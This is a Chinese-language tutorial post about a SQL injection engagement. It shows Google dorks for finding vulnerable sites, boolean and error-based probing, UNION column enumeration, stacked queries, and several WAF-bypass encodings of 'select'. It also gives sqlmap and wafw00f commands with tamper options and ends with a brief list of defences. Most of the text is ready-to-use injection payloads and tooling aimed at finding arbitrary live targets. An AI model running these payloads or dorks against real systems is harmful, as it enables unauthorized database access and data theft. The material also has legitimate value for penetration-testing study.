记一次不愉快的SQL注入实战经历
字数 1086
更新时间 2025-08-14 06:17:44
SQL注入实战教学:从发现到绕过技巧
一、SQL注入漏洞发现
1. 搜索技巧
使用特定搜索语法寻找可能存在SQL注入的网站:
inurl:asp?id=inurl:php?id=inurl:jsp?id=inurl:aspx?id=
2. 初步检测
使用简单的逻辑测试判断是否存在注入点:
id=6006 and 1=1- 正常返回id=6006 and 1=2- 异常返回(页面内容不同)
3. 错误检测
通过引发错误确认注入点:
id=6006'- 观察是否返回数据库错误信息
二、SQL Server注入基础
1. 与MySQL注入的主要区别
- 注释符号:
--(SQL Server) vs#或--(MySQL) - 字符串连接:
+(SQL Server) vsconcat()(MySQL) - 系统表差异:SQL Server使用
sysobjects等系统表
2. 常用函数
db_name()- 获取当前数据库名user- 获取当前用户@@version- 获取SQL Server版本
三、注入技术详解
1. UNION联合注入
步骤1:确定列数
order by n -- 递增n直到报错
步骤2:确定回显位
id=-6006 union select 1,2,3,...,32
2. 绕过过滤技术
当发现select等关键词被过滤时,尝试以下方法:
大小写混合
SeLeCt 1,2,3
URL编码
%73%65%6C%65%63%74 (select的URL编码)
双关键字
selselectect (假设过滤机制是简单替换)
注释分割
sel/*xxx*/ect
十六进制编码
0x73656C656374 (select的十六进制)
CHAR函数
CHAR(115)+CHAR(101)+CHAR(108)+CHAR(101)+CHAR(99)+CHAR(116)
3. 堆叠注入
当UNION注入不可用时,尝试堆叠注入:
id=6006;select 1 --
数据库枚举示例:
id=6006;if db_id('msdb') is not null select 1 else select 0 --
四、自动化工具使用
1. WAF检测
使用wafw00f检测网站是否部署WAF:
wafw00f http://target.com
2. SQLMap使用
基本扫描命令:
sqlmap -u "http://target.com/page.asp?id=1" --batch
绕过WAF的参数:
sqlmap -u "http://target.com/page.asp?id=1" --tamper=space2comment --random-agent
五、防御措施分析
从攻击者角度分析防御机制:
- 关键词过滤(如select、union)
- 输入类型检查(强制数字型参数)
- 错误信息屏蔽
- WAF部署
六、实战总结
- 耐心是关键:寻找注入点需要大量测试
- 灵活应对:不同数据库需要不同技术
- 绕过技巧:多种方法组合尝试
- 工具辅助:合理使用自动化工具提高效率
七、进一步学习资源
-
SQL Server注入详细指南:
- https://blog.csdn.net/qq_36119192/article/details/88679754
-
SQL注入绕过技术:
- https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF
-
SQLMap高级用法:
- https://github.com/sqlmapproject/sqlmap/wiki/Usage
相似文章
相似文章